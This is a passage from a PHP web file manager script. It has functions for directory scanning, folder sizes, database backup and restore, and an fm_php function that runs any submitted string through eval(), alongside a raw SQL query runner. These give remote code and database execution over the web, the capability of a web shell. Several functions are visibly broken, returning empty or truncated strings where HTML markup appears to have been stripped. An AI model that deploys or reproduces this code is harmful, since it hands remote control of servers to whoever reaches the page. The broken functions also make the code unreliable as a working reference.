} fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
    '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
    '.stripslashes($vdump).'
    '; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' ?? '.$sqlFileToExecute; else return $sqlErrorText.'
    '.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '